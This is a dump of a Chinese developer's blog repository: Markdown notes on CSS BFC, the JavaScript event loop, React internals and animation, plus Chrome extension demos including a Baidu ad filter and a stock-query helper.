22 | "matches": ["http://smart.supor.com:9097/*","https://smart.supor.com:9097/*"], 23 | "js": ["js/content.js"] 24 | }] 25 | } 26 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "git-blog", 3 | "version": "1.0.0", 4 | "description": "luke-blog", 5 | "main": "index.js", 6 | "directories": { 7 | "test": "test" 8 | }, 9 | "scripts": { 10 | "test": "echo \"Error: no test specified\" && exit 1" 11 | }, 12 | "repository": { 13 | "type": "git", 14 | "url": "git+https://github.com/luke93h/git-blog.git" 15 | }, 16 | "keywords": [], 17 | "author": "", 18 | "license": "ISC", 19 | "bugs": { 20 | "url": "https://github.com/luke93h/git-blog/issues" 21 | }, 22 | "homepage": "https://github.com/luke93h/git-blog#readme", 23 | "dependencies": { 24 | "create-react-app": "^1.5.2" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/BFC.md: -------------------------------------------------------------------------------- 1 | # BFC 2 | 3 | ## 定义 4 | 5 | > 块格式化上下文(Block Formatting Context,BFC) 是Web页面的可视化CSS渲染的一部分,是布局过程中生成块级盒子的区域,也是浮动元素与其他元素的交互限定区域。 6 | 7 | ## 生成方法 8 | 9 | >Floats, absolutely positioned elements, inline-blocks, table-cells, table-captions, and elements with ‘overflow’ other than ‘visible’ (except when that value has been propagated to the viewport) establish new block formatting contexts. 10 | 11 | 浮动,绝对定位,inline-block,table-cells, table-captions,或者overflow不为'visible'都会生成BFC 12 | 13 | ## 作用 14 | 15 | 影响浮动定位、清除浮动 16 | 17 | 1. 只有当元素在同一个BFC中时,垂直方向上的margin 18 | 才会clollpase.如果它们属于不同的BFC,则不会有margin collapse.因此我们可以再建立一个BFC去阻止margin collpase的发生。 19 | 20 | 2. 利用BFC去容纳浮动元素 21 | 22 | 3. 利用BFC阻止文本换行 -------------------------------------------------------------------------------- /src/react16-setState流程.md: -------------------------------------------------------------------------------- 1 | # react源码分析-setState分析 2 | 3 | ![原型图](https://raw.githubusercontent.com/luke93h/git-blog/master/imgs/setState.png) 4 | 5 | ## 前言 6 | 7 | 是否有过这样的疑问: 8 | 9 | 1. setState做了什么? 10 | 2. setState是如何触发ui变化的? 11 | 12 | ## isWorking 13 | 14 | 如果此时isWorking为true,react将不会立即执行更新操作,而是把更新操作交给正在working的任务。(例如:由onClick触发的working) 15 | 16 | 如果此时没有其他任务在执行,则自己主动申请执行任务(如setTimeout或ajax触发) 17 | 18 | ## 结尾语 19 | 20 | 没错,setState的逻辑就是这么简单。如果想了解requestWork阶段的内容,请访问[react源码分析-reactDom.render](https://github.com/luke93h/git-blog/issues/7) 21 | 22 | ## 相关 23 | 24 | - [react源码分析-reactDom.render](https://github.com/luke93h/git-blog/issues/7) 25 | - [事件系统分析](https://github.com/luke93h/git-blog/issues/10) 26 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/page-action-demo/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | // 清单文件的版本,这个必须写,而且必须是2 3 | "manifest_version": 2, 4 | // 插件的名称 5 | "name": "page-action-demo", 6 | // 插件的版本 7 | "version": "1.0.0", 8 | // 插件描述 9 | "description": "pageAction演示", 10 | // 图标,一般偷懒全部用一个尺寸的也没问题 11 | "icons": 12 | { 13 | "16": "img/icon.png", 14 | "48": "img/icon.png", 15 | "128": "img/icon.png" 16 | }, 17 | // 当某些特定页面打开才显示的图标 18 | "page_action": 19 | { 20 | "default_icon": "img/icon.png", 21 | "default_title": "我是pageAction", 22 | "default_popup": "popup.html" 23 | }, 24 | // 权限申请 25 | "permissions": 26 | [ 27 | "declarativeContent" 28 | ], 29 | "background": 30 | { 31 | "scripts": ["js/background.js"] 32 | } 33 | } -------------------------------------------------------------------------------- /examples/react-redux-test/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "private": true, 3 | "scripts": { 4 | "start": "roadhog server", 5 | "build": "roadhog build", 6 | "lint": "eslint --ext .js src test", 7 | "precommit": "npm run lint" 8 | }, 9 | "dependencies": { 10 | "dva": "^2.2.3", 11 | "react": "^16.2.0", 12 | "react-dom": "^16.2.0" 13 | }, 14 | "devDependencies": { 15 | "babel-plugin-dva-hmr": "^0.3.2", 16 | "eslint": "^4.14.0", 17 | "eslint-config-umi": "^0.1.1", 18 | "eslint-plugin-flowtype": "^2.34.1", 19 | "eslint-plugin-import": "^2.6.0", 20 | "eslint-plugin-jsx-a11y": "^5.1.1", 21 | "eslint-plugin-react": "^7.1.0", 22 | "husky": "^0.12.0", 23 | "redbox-react": "^1.4.3", 24 | "roadhog": "^2.0.0" 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/background.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 背景页 5 | 6 | 7 | 15 | 16 | 17 |
18 |

这是背景页

19 |
20 | 跨域演示 21 | 获取popup页标题 22 |
23 |
24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/routes/IndexPage.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import { connect } from 'dva'; 3 | import styles from './IndexPage.css'; 4 | import Count from './Count' 5 | let i = 0 6 | class IndexPage extends React.Component { 7 | onClick = () => { 8 | this.props.dispatch({ 9 | type: 'example/add' 10 | }) 11 | } 12 | render(){ 13 | console.log('From Parent', ++i) 14 | return ( 15 |
16 | 21 | 22 |
23 | ); 24 | } 25 | } 26 | 27 | export default connect(state => ({ 28 | example: state.example 29 | }))(IndexPage); 30 | -------------------------------------------------------------------------------- /examples/BaiduAdBlock-master/BaiduAdBlock/index.html: -------------------------------------------------------------------------------- 1 | 2 | 百度搜索广告过滤 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 |

百度搜索广告过滤

12 |
13 | 14 |

15 | 16 | 项目源代码 17 |

18 | 19 |

20 | 21 | 老九 2018/9 22 |

23 |
24 | 25 | 26 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/newtab.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 新标签页 5 | 6 | 7 | 26 | 27 | 28 |

这是一个自定义的新标签页

29 |
30 | 百度 31 | 360搜索 32 |
33 | 34 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/inject.js: -------------------------------------------------------------------------------- 1 | // 通过postMessage调用content-script 2 | function invokeContentScript(code) 3 | { 4 | window.postMessage({cmd: 'invoke', code: code}, '*'); 5 | } 6 | // 发送普通消息到content-script 7 | function sendMessageToContentScriptByPostMessage(data) 8 | { 9 | window.postMessage({cmd: 'message', data: data}, '*'); 10 | } 11 | 12 | // 通过DOM事件发送消息给content-script 13 | (function() { 14 | var customEvent = document.createEvent('Event'); 15 | customEvent.initEvent('myCustomEvent', true, true); 16 | // 通过事件发送消息给content-script 17 | function sendMessageToContentScriptByEvent(data) { 18 | data = data || '你好,我是injected-script!'; 19 | var hiddenDiv = document.getElementById('myCustomEventDiv'); 20 | hiddenDiv.innerText = data 21 | hiddenDiv.dispatchEvent(customEvent); 22 | } 23 | window.sendMessageToContentScriptByEvent = sendMessageToContentScriptByEvent; 24 | })(); 25 | -------------------------------------------------------------------------------- /examples/react-redux-test/src/utils/request.js: -------------------------------------------------------------------------------- 1 | import fetch from 'dva/fetch'; 2 | 3 | function parseJSON(response) { 4 | return response.json(); 5 | } 6 | 7 | function checkStatus(response) { 8 | if (response.status >= 200 && response.status < 300) { 9 | return response; 10 | } 11 | 12 | const error = new Error(response.statusText); 13 | error.response = response; 14 | throw error; 15 | } 16 | 17 | /** 18 | * Requests a URL, returning a promise. 19 | * 20 | * @param {string} url The URL we want to request 21 | * @param {object} [options] The options we want to pass to "fetch" 22 | * @return {object} An object containing either "data" or "err" 23 | */ 24 | export default function request(url, options) { 25 | return fetch(url, options) 26 | .then(checkStatus) 27 | .then(parseJSON) 28 | .then(data => ({ data })) 29 | .catch(err => ({ err })); 30 | } 31 | -------------------------------------------------------------------------------- /examples/BaiduAdBlock-master/BaiduAdBlock/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "百度搜索广告过滤", 3 | "version": "1.0.0", 4 | "manifest_version": 2, 5 | "description": "百度搜索广告过滤", 6 | "icons": { 7 | "16": "images/icon16.png", 8 | "48": "images/icon48.png" 9 | }, 10 | "browser_action": { 11 | "default_title": "百度搜索广告过滤", 12 | "default_icon": "images/icon16.png", 13 | "default_popup": "index.html" 14 | }, 15 | "background": { 16 | "scripts": ["scripts/background.js"], 17 | "persistent": false 18 | }, 19 | "content_scripts": [{ 20 | "js": [ 21 | "scripts/jquery-1.7.1.min.js", 22 | "scripts/content.js" 23 | ], 24 | "matches": [ 25 | "http://www.baidu.com/*", 26 | "https://www.baidu.com/*" 27 | ], 28 | "run_at": "document_start" 29 | }], 30 | "permissions": [ 31 | "http://www.baidu.com/*", 32 | "https://www.baidu.com/*" 33 | ] 34 | } -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/options.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 插件配置页 10 | 11 | 12 |

简单的配置页

13 |

(功能很无聊,纯属演示功能)

14 |
15 | 16 | 23 |
24 |
25 | 26 |
27 | 保存配置 28 |
29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/options.js: -------------------------------------------------------------------------------- 1 | document.addEventListener('DOMContentLoaded', function() { 2 | var defaultConfig = {color: 'white', showImage: true}; // 默认配置 3 | // 读取数据,第一个参数是指定要读取的key以及设置默认值 4 | chrome.storage.sync.get(defaultConfig, function(items) { 5 | document.getElementById('color').value = items.color; 6 | document.getElementById('show_image').checked = items.showImage; 7 | }); 8 | }); 9 | 10 | document.getElementById('save').addEventListener('click', function() { 11 | var color = document.getElementById('color').value; 12 | var showImage = document.getElementById('show_image').checked; 13 | // 这里貌似会存在刷新不及时的问题 14 | chrome.extension.getBackgroundPage().showImage = showImage; // 让background即使生效 15 | chrome.storage.sync.set({color: color, showImage: showImage}, function() { 16 | // 注意新版的options页面alert不生效! 17 | // alert('保存成功!'); 18 | document.getElementById('status').textContent = '保存成功!'; 19 | setTimeout(() => {document.getElementById('status').textContent = '';}, 800); 20 | }); 21 | }); -------------------------------------------------------------------------------- /event-loop.md: -------------------------------------------------------------------------------- 1 | # Event Loop 2 | 虽说目前chrome已经支持worker,js可以多线程运行了,但webworker仅仅能进行计算任务,不能操作DOM,所以本质上还是单线程。 3 | 4 | ## 线程 5 | 1. js运作在浏览器中,是单线程的,即js代码始终在一个线程上执行,这个线程称为js引擎线程。 6 | 2. 浏览器是多线程的,除了js引擎线程,它还有: UI渲染线程、浏览器事件触发线程、http请求线程、EventLoop轮询的处理线程... 7 | 3. 多线程之间会共享运行资源,浏览器端的js会操作dom,多个线程必然会带来同步的问题,所有js核心选择了单线程来避免处理这个麻烦。js可以操作dom,影响渲染,所以js引擎线程和UI线程是互斥的。这也就解释了js执行时会阻塞页面的渲染。 8 | ## 同步任务 9 | 在主线程排队支持的任务,前一个任务执行完毕后,执行后一个任务,形成一个执行栈,线程执行时在内存形成的空间为栈,进程形成堆结构,这是内存的结构。 10 | ## 异步任务 11 | 异步任务会被主线程挂起,不会进入主线程,而是进入消息队列,而且必须指定回调函数,只有消息队列通知主线程,并且执行栈为空时,该消息对应的任务才会进入执行栈获得执行的机会。 12 | ## js运行机制 13 | 1. 所有同步任务都在主线程上执行,形成一个执行栈。 14 | 2. 主线程之外,还存在一个”任务队列”。只要异步任务有了运行结果,就在”任务队列”之中放置一个事件。 15 | 3. 一旦”执行栈”中的所有同步任务执行完毕,系统就会读取”任务队列”,看看里面有哪些事件。那些对应的异步任务,于是结束等待状态,进入执行栈,开始执行。 16 | 4. 主线程不断重复上面的第三步。 17 | ## Event Loop 18 | 主线程从”任务队列”中读取事件,这个过程是循环不断的,所以整个的这种运行机制又称为Event Loop(事件循环)。 19 | 20 | 简单说,浏览器的两个线程:一个负责程序本身的运行,称为”主线程”;另一个负责主线程与其他进程(主要是各种I/O操作)的通信,被称为”Event Loop线程”(可以译为”消息线程”)。 21 | ## Task和Microtask 22 | * Task:是严格按照时间顺序压栈和执行的,所以浏览器能够使得 JavaScript 内部任务与 DOM 任务能够有序的执行。 23 | * Microtask 通常来说就是需要在当前 task 执行结束后立即执行的任务 24 | 25 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/mypanel.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 新标签页 5 | 6 | 27 | 28 | 29 |

这是一个自定义Chrome开发者工具页面

30 | 36 | 37 | 38 | -------------------------------------------------------------------------------- /examples/BaiduAdBlock-master/BaiduAdBlock/scripts/content.js: -------------------------------------------------------------------------------- 1 | ; 2 | (function () { 3 | var counter = new function () { 4 | var _count = 0; 5 | var _hwdn = 0; 6 | 7 | function delay(handler, delay) { 8 | if (_hwdn) clearTimeout(_hwdn); 9 | _hwdn = setTimeout(handler, delay); 10 | }; 11 | 12 | this.add = function (count) { 13 | _count = _count + count; 14 | delay(function () { 15 | _count = 0; 16 | }, 1000); 17 | return _count; 18 | }; 19 | 20 | $(function () { 21 | $('[type="submit"]').click(function () { 22 | _count = 0; 23 | }); 24 | }); 25 | } 26 | 27 | function clearBaiduAd() { 28 | return $("#content_left div[data-click] span:contains('广告')") 29 | .parents("#content_left div[data-click]") 30 | .remove() 31 | .length; 32 | } 33 | 34 | $(document).bind("DOMNodeInserted", function (e) { 35 | var length = clearBaiduAd(); 36 | var count = counter.add(length); 37 | chrome.runtime.sendMessage(count); 38 | }); 39 | })(); -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # [Blog](https://github.com/luke93h/git-blog/issues) 2 | 3 | * [react-redux源码分析](https://github.com/luke93h/git-blog/issues/2) 4 | * [redux-saga源码分析](https://github.com/luke93h/git-blog/issues/3) 5 | * [redux源码分析](https://github.com/luke93h/git-blog/issues/4) 6 | * [the-super-tiny-compiler.js中文翻译](https://github.com/luke93h/git-blog/blob/master/the-super-tiny-compiler.js)/[源码地址](https://github.com/jamiebuilds/the-super-tiny-compiler) 7 | * [javascript之toFixed踩坑记录](https://github.com/luke93h/git-blog/issues/5) 8 | * [js线程](https://github.com/luke93h/git-blog/issues/6) 9 | * [react架构分析](https://github.com/luke93h/git-blog/issues/7) 10 | * [react事件系统分析](https://github.com/luke93h/git-blog/issues/10) 11 | * [reactsetState分析](https://github.com/luke93h/git-blog/issues/11) 12 | * [自问自答](https://github.com/luke93h/git-blog/issues/9) 13 | * [vscode路径别名问题](https://github.com/luke93h/git-blog/issues/12) 14 | * [git回滚 ](https://github.com/luke93h/git-blog/issues/13) 15 | * [黑科技-react如何获取父元素](https://github.com/luke93h/git-blog/issues/14) 16 | * [黑科技-react如何从dom上获取fiber实例](https://github.com/luke93h/git-blog/issues/15) 17 | * [redux插件原理详解](https://github.com/luke93h/git-blog/issues/16) 18 | 19 | > 文章保存在issue中 -------------------------------------------------------------------------------- /src/黑科技-react如何获取父元素.md: -------------------------------------------------------------------------------- 1 | ## 黑科技-react如何获取父元素 2 | 3 | 前段时间再学习react的源码,解决了自己的一些疑惑,也发现了一些黑科技操作方法,此处分享给大家。 4 | 5 | 通常父组件获得子组件的实例可以通过ref获取,那子组件如何获取父组件的实例呢? 6 | 7 | 这里提供一种黑科技思路供大家玩耍 8 | ```jsx 9 | import React from "react"; 10 | import ReactDOM from "react-dom"; 11 | 12 | import "./styles.css"; 13 | 14 | 15 | class App extends React.Component { 16 | constructor(props){ 17 | super(props) 18 | this.state={ 19 | a: 1 20 | } 21 | } 22 | add = () => { 23 | this.setState({ 24 | a: this.state.a + 1 25 | }) 26 | } 27 | render() { 28 | return
29 |
{this.state.a}
30 | 31 |
32 | } 33 | } 34 | 35 | class Child extends React.Component{ 36 | onClick = () => { 37 | let parent = this._reactInternalFiber.return.return.stateNode 38 | parent.add() 39 | } 40 | render(){ 41 | return 42 | } 43 | } 44 | 45 | const rootElement = document.getElementById("root"); 46 | ReactDOM.render(, rootElement); 47 | 48 | ``` 49 | 50 | 此处需要注意的是: 51 | 1. this._reactInternalFiber返回的是fiber对象 52 | 2. Child的return是div,而child的return的return才是App 53 | 3. 通过fiber.stateNode获取组件实例 54 | 4. 如果想要自动找到classCommponent,可以通过判断fiber的tag是否为2向上遍历寻找,此处不再展开。 55 | 56 | [在线调试](https://codesandbox.io/s/ll39p3yo8z) -------------------------------------------------------------------------------- /src/js编写动画的方式.md: -------------------------------------------------------------------------------- 1 | # js写动画的方式 2 | 3 | 1. setTimeout/setInterval 4 | 5 | ```jsx 6 | let start = (new Date()).getTime() 7 | function move(e, dis){ 8 | let now = (new Date()).getTime() 9 | let elapsed = now - start 10 | let fraction = elapsed/time 11 | if( fraction < 1) { 12 | let x = dis * fraction 13 | e.style.left = x + 'px' 14 | setTimeout(animate, Math.min(25, time-elapsed)) 15 | }else{ 16 | e.style.left = dis + 'px' 17 | } 18 | } 19 | ``` 20 | 21 | 2. requestAnimationFrame 22 | 23 | ```jsx 24 | var start = null; 25 | var element = document.getElementById('SomeElementYouWantToAnimate'); 26 | element.style.position = 'absolute'; 27 | 28 | function step(timestamp) { 29 | if (!start) start = timestamp; 30 | var progress = timestamp - start; 31 | element.style.left = Math.min(progress / 10, 200) + 'px'; 32 | if (progress < 2000) { 33 | window.requestAnimationFrame(step); 34 | } 35 | } 36 | 37 | window.requestAnimationFrame(step); 38 | ``` 39 | 40 | 3. className 41 | 42 | ```jsx 43 | dom.className = 'animate' 44 | ``` 45 | 46 | ## 总结 47 | 48 | 推荐顺序: className > requestAnimationFrame > setTimeout/setInterval 49 | 50 | 51 | | 类别 | 优点 | 缺点 | 52 | | ------ | ------ | ------ | 53 | | setTimeout/setInterval | - | 性能 最差 | 54 | | requestAnimationFrame | 1.每一帧调用的时机通过浏览器来告知,动画更加流畅。2.可控性好 | 性能差 | 55 | | className | 1.通过css来写动画,性能好。2.js操作少,较为简单 | 只能完成简单的动画,可控性没有js动画高 | -------------------------------------------------------------------------------- /src/黑科技-react如何从dom上获取fiber实例.md: -------------------------------------------------------------------------------- 1 | ## 黑科技-react如何获取父元素 2 | 3 | 前一篇讲了如何从获取父元素实例方法,本篇来介绍下如何从dom上获取fiber实例。 4 | ```jsx 5 | 6 | import React from "react"; 7 | import ReactDOM from "react-dom"; 8 | 9 | import "./styles.css"; 10 | 11 | class App extends React.Component { 12 | constructor(props) { 13 | super(props); 14 | this.state = { 15 | a: 1 16 | }; 17 | } 18 | add = () => { 19 | this.setState({ 20 | a: this.state.a + 1 21 | }); 22 | }; 23 | render() { 24 | return ( 25 |
26 |
{this.state.a}
27 | 28 |
29 | ); 30 | } 31 | } 32 | 33 | class Child extends React.Component { 34 | onClick = e => { 35 | let internalKey = Object.keys(e.target).filter( 36 | key => key.indexOf("__reactInternalInstance") >= 0 37 | ); 38 | let fiber = e.target[internalKey]; 39 | let childFiber = getParentClassComponent(fiber); 40 | let parentFiber = getParentClassComponent(childFiber); 41 | parentFiber.stateNode.add(); 42 | }; 43 | render() { 44 | return ; 45 | } 46 | } 47 | 48 | function getParentClassComponent(fiber) { 49 | let parent = fiber.return; 50 | if (parent.tag === 2) { 51 | return parent; 52 | } else { 53 | return getParentClassComponent(parent); 54 | } 55 | } 56 | const rootElement = document.getElementById("root"); 57 | ReactDOM.render(, rootElement); 58 | 59 | 60 | 61 | ``` 62 | 63 | 64 | [在线调试](https://codesandbox.io/s/101k4mr1ol) -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/js/mypanel.js: -------------------------------------------------------------------------------- 1 | // 检测jQuery 2 | document.getElementById('check_jquery').addEventListener('click', function() 3 | { 4 | // 访问被检查的页面DOM需要使用inspectedWindow 5 | // 简单例子:检测被检查页面是否使用了jQuery 6 | chrome.devtools.inspectedWindow.eval("jQuery.fn.jquery", function(result, isException) 7 | { 8 | var html = ''; 9 | if (isException) html = '当前页面没有使用jQuery。'; 10 | else html = '当前页面使用了jQuery,版本为:'+result; 11 | alert(html); 12 | }); 13 | }); 14 | 15 | // 打开某个资源 16 | document.getElementById('open_resource').addEventListener('click', function() 17 | { 18 | chrome.devtools.inspectedWindow.eval("window.location.href", function(result, isException) 19 | { 20 | chrome.devtools.panels.openResource(result, 20, function() 21 | { 22 | console.log('资源打开成功!'); 23 | }); 24 | }); 25 | }); 26 | 27 | // 审查元素 28 | document.getElementById('test_inspect').addEventListener('click', function() 29 | { 30 | chrome.devtools.inspectedWindow.eval("inspect(document.images[0])", function(result, isException){}); 31 | }); 32 | 33 | // 获取所有资源 34 | document.getElementById('get_all_resources').addEventListener('click', function() 35 | { 36 | chrome.devtools.inspectedWindow.getResources(function(resources) 37 | { 38 | alert(JSON.stringify(resources)); 39 | }); 40 | }); 41 | 42 | var myconsole = 43 | { 44 | _log: function(obj) 45 | { 46 | // 不知为何,这种方式不行 47 | chrome.devtools.inspectedWindow('console.log('+JSON.stringify(obj)+')'); 48 | }, 49 | log: function(obj) 50 | { 51 | // 这里有待完善 52 | chrome.tabs.executeScript(chrome.devtools.inspectedWindow.tabId, {code: 'console.log(' + JSON.stringify(obj) + ')'}, function(){}); 53 | } 54 | }; 55 | -------------------------------------------------------------------------------- /react-test/public/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 11 | 12 | 13 | 22 | React App 23 | 24 | 25 | 28 |
29 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/css/custom.css: -------------------------------------------------------------------------------- 1 | .chrome-plugin-demo-panel { 2 | position: fixed; 3 | right: 0; 4 | bottom: 10px; 5 | background: #3385ff; 6 | padding: 10px; 7 | box-shadow: 0px 0px 10px #002761; 8 | border-radius: 3px; 9 | color: white; 10 | } 11 | .chrome-plugin-demo-panel a{ 12 | color: white; 13 | text-decoration: none; 14 | font-size: 16px; 15 | } 16 | .chrome-plugin-demo-panel a:hover{ 17 | text-decoration: underline; 18 | color: #ffee08; 19 | } 20 | .chrome-plugin-simple-tip { 21 | position: fixed; 22 | left: 20px; 23 | padding: 16px 10px; 24 | top: 30px; 25 | color: white; 26 | min-width: 150px; 27 | max-width: 700px; 28 | border-radius: 3px; 29 | text-align: center; 30 | font-size: 16px; 31 | background: #70a800; 32 | background-image: linear-gradient(to bottom, #95cc2a, #70a800); 33 | box-shadow: 0 0 3px rgba(0, 0, 0, .2); 34 | transition: top .4s; 35 | } 36 | .animated { 37 | -webkit-animation-duration: .5s; 38 | animation-duration: .5s; 39 | -webkit-animation-fill-mode: both; 40 | animation-fill-mode: both 41 | } 42 | @-webkit-keyframes slideInLeft { 43 | 0% { 44 | -webkit-transform: translate3d(-100%,0,0); 45 | transform: translate3d(-100%,0,0); 46 | visibility: visible 47 | } 48 | 49 | 100% { 50 | -webkit-transform: translate3d(0,0,0); 51 | transform: translate3d(0,0,0) 52 | } 53 | } 54 | 55 | @keyframes slideInLeft { 56 | 0% { 57 | -webkit-transform: translate3d(-100%,0,0); 58 | transform: translate3d(-100%,0,0); 59 | visibility: visible 60 | } 61 | 62 | 100% { 63 | -webkit-transform: translate3d(0,0,0); 64 | transform: translate3d(0,0,0) 65 | } 66 | } 67 | 68 | .slideInLeft { 69 | -webkit-animation-name: slideInLeft; 70 | animation-name: slideInLeft 71 | } -------------------------------------------------------------------------------- /src/图片串行加载.md: -------------------------------------------------------------------------------- 1 | # 图片串行加载 2 | 3 | ## 背景 4 | 5 | 最近开发中遇到了一个比较好玩的问题:在一个页面中加载了20多张图片,其中第一张需要放大展示到中心区,由于所有图片时并行加载,导致中心图片加载特别慢,有很长时间是空白状态,体验非常差。思来想去,想到了如下方法,通过串行加载的方式来加载图片。 6 | 7 | ## 解决方式 8 | 9 | 通过render props的方式加入中间件 10 | 11 | ```jsx 12 | import React from 'react'; 13 | 14 | class Index extends React.Component { 15 | constructor(props) { 16 | super(props); 17 | this.state = { 18 | loaded: {}, 19 | }; 20 | this.imgs = []; 21 | this.preloadImgs(props.imgs); 22 | } 23 | componentWillReceiveProps(nextProps) { 24 | let { imgs } = nextProps; 25 | this.preloadImgs(imgs); 26 | } 27 | preloadImgs = imgs => { 28 | let { defaultSrc = '', srcName = 'src', keyName = 'id' } = this.props; 29 | imgs.forEach(img => { 30 | let { id } = img; 31 | if (this.state.loaded[id]) { 32 | return; 33 | } 34 | if (this.imgs.some(item => item.id === img.id)) { 35 | return; 36 | } 37 | this.imgs.push(img); 38 | if (this.preloading) { 39 | return; 40 | } 41 | this.preload(this.imgs.length - 1); 42 | }); 43 | }; 44 | preload = index => { 45 | index = index || 0; 46 | if (index >= this.imgs.length) { 47 | this.preloading = false; 48 | return false; 49 | } 50 | this.preloading = true; 51 | let { id } = this.imgs[index]; 52 | let oImg = new Image(); 53 | oImg.onload = () => { 54 | this.setState({ 55 | loaded: { 56 | ...this.state.loaded, 57 | [id]: true, 58 | }, 59 | }); 60 | this.preload(index + 1); 61 | }; 62 | oImg.onerror = () => { 63 | this.preload(index + 1); 64 | }; 65 | oImg.src = this.imgs[index].src; 66 | }; 67 | render() { 68 | let { imgs, defaultSrc = '', srcName = 'src', keyName = 'id' } = this.props; 69 | let imgs=imgs.map(item => ({ ...item, src: this.state.loaded[item[idName]] ? item[keyName] : defaultSrc })) 70 | return this.props.children(imgs) 71 | } 72 | } 73 | export default Index; 74 | ``` 75 | -------------------------------------------------------------------------------- /examples/chrome-extension/js/content.js: -------------------------------------------------------------------------------- 1 | (function(){ 2 | var listeners = [] 3 | var iframe = document.getElementById('contentIFrame0') 4 | var intervalCode = 0 5 | iframe.addEventListener('load', function(){ 6 | for(var i= 0;i=numberList.length){ 24 | number = numberList[numberList.length-1] 25 | }else{ 26 | number = numberList[i] 27 | } 28 | listeners.push(function(){ 29 | var list = _document.querySelectorAll('#tableList tr.odd-row td') 30 | var name = list[1].innerText 31 | var stock = list[list.length-1].innerText 32 | var info = {name: name, stock: stock, code: code, number: number, time: getNowTime() } 33 | sendMessageToPopup({type:'refresh', payload:info}); 34 | }) 35 | _document.getElementById('txtProduct').value=codeList[i] 36 | _document.getElementById('btnSearch').click() 37 | if(i>=codeList.length-1){ 38 | i=0 39 | }else{ 40 | i++ 41 | } 42 | } 43 | cb() 44 | intervalCode = setInterval(cb, interval*1000) 45 | } 46 | }); 47 | 48 | function sendMessageToPopup(message){ 49 | chrome.runtime.sendMessage('gcjefpdikjlgpndiafaiffmbnjdphkph', message) 50 | } 51 | function getNowTime(){ 52 | var d = new Date() 53 | return d.getHours() + ':' + d.getMinutes() + ':' + d.getSeconds() 54 | } 55 | })() -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/popup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | popup页 5 | 6 | 7 | 15 | 16 | 17 |

这是一个popup页面!

18 |

background

19 |
20 | 打开background 21 | 调用background页JS方法 22 | 获取background页的标题 23 | 设置background页标题 24 | (验证background生命周期和单实例特性) 25 |
26 |

窗口操作演示

27 | 34 |

标签操作演示

35 | 41 |

popup与content-script交互

42 | 46 |

DOM交互演示

47 | 51 |

国际化演示

52 |
53 |

(另外请到插件列表页查看描述的变化)

54 |
55 |

其它

56 | 62 |

更多

63 |
64 | 百度广告,右键菜单,omnibox,图片大小演示,devtools演示,sidebar演示, 65 |
66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /examples/chrome-extension/popup.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Getting Started Extension's Popup 8 | 50 | 51 | 52 | 53 | 54 |

自动查询库存量

55 |
56 |
57 | 商品码: 58 | 59 |
60 |
61 | 数量: 62 | 63 |
64 | 68 |
69 | 结果 70 | 71 | 72 | 73 | 76 | 79 | 82 | 83 | 84 | 85 |
74 | 商品名 75 | 77 | 最新库存量 78 | 80 | 更新事件 81 |
86 |
87 |
88 | 89 |
90 |
91 | 97 | 98 | 99 | -------------------------------------------------------------------------------- /react-test/src/logo.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/chrome-plugin-demo-master/demo/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | // 清单文件的版本,这个必须写,而且必须是2 3 | "manifest_version": 2, 4 | // 插件的名称 5 | "name": "demo", 6 | // 插件的版本 7 | "version": "1.0.0", 8 | // 插件描述 9 | "description": "__MSG_pluginDesc__", 10 | // 图标,一般偷懒全部用一个尺寸的也没问题 11 | "icons": 12 | { 13 | "16": "img/icon.png", 14 | "48": "img/icon.png", 15 | "128": "img/icon.png" 16 | }, 17 | // 会一直常驻的后台JS或后台页面 18 | "background": 19 | { 20 | // 2种指定方式,如果指定JS,那么会自动生成一个背景页 21 | "page": "background.html" 22 | //"scripts": ["js/background.js"] 23 | }, 24 | // 浏览器右上角图标设置,browser_action、page_action、app必须三选一 25 | "browser_action": 26 | { 27 | "default_icon": "img/icon.png", 28 | // 图标悬停时的标题,可选 29 | "default_title": "这是一个示例Chrome插件", 30 | "default_popup": "popup.html" 31 | }, 32 | // 当某些特定页面打开才显示的图标 33 | /*"page_action": 34 | { 35 | "default_icon": "img/icon.png", 36 | "default_title": "我是pageAction", 37 | "default_popup": "popup.html" 38 | },*/ 39 | // 需要直接注入页面的JS 40 | "content_scripts": 41 | [ 42 | { 43 | //"matches": ["http://*/*", "https://*/*"], 44 | // "" 表示匹配所有地址 45 | "matches": [""], 46 | // 多个JS按顺序注入 47 | "js": ["js/jquery-1.8.3.js", "js/content-script.js"], 48 | // JS的注入可以随便一点,但是CSS的注意就要千万小心了,因为一不小心就可能影响全局样式 49 | "css": ["css/custom.css"], 50 | // 代码注入的时间,可选值: "document_start", "document_end", or 